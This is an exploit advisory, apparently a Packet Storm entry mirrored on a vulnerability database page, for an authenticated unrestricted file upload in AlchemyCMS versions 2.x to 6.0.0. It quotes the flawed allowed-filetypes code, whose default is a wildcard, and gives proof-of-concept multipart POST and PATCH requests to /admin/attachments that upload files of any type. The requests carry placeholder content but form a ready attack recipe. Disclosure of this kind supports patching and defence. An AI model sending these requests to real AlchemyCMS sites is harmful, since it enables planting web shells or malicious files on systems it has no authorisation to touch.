Lucene search
K

Alchemy CMS 6.0.0 Arbitrary File Upload

🗓️ 13 Oct 2021 00:00:00Reported by AbdulrahmanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 279 Views

Alchemy CMS 6.0.0 Arbitrary File Upload vulnerabilit

Code
`# Exploit Title: AlchemyCMS 2.x to 6.0.0 - Unrestricted File Upload (authenticated)  
# Date: 01/10/2021  
# Exploit Author: Abdulrahman https://twitter.com/infosec_90  
# Vendor Homepage: https://alchemy-cms.com  
# Software Link: https://github.com/AlchemyCMS/alchemy_cms  
# Version: from 2.0 to 6.0.0  
# Tested on: Linux ruby 2.6.8p205 rails 6  
  
in /app/models/alchemy/attachment.rb line 82 :  
  
def allowed_filetypes  
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])  
end  
end  
  
in /app/views/alchemy/admin/uploader/_button.html.erb in 18  
  
configuration(:uploader)['allowed_filetypes'][object.class.model_name.collection] || ['*'] %>  
  
  
  
POC :  
POST /admin/attachments HTTP/1.1  
------WebKitFormBoundarydAup7dA7ub3Weccp  
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"  
Content-Type: application/octet-stream  
  
anything  
  
------WebKitFormBoundarydAup7dA7ub3Weccp--  
  
  
OR  
id = 8 for old attachment  
  
PATCH /admin/attachments/8 HTTP/1.1  
------WebKitFormBoundarylYnqNR9sxMPdw7Si  
Content-Disposition: form-data; name="_method"  
  
patch  
------WebKitFormBoundarylYnqNR9sxMPdw7Si  
Content-Disposition: form-data; name="attachment[file]"; filename="anyfile.anyext"  
Content-Type: application/octet-stream  
  
anything  
------WebKitFormBoundarylYnqNR9sxMPdw7Si--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation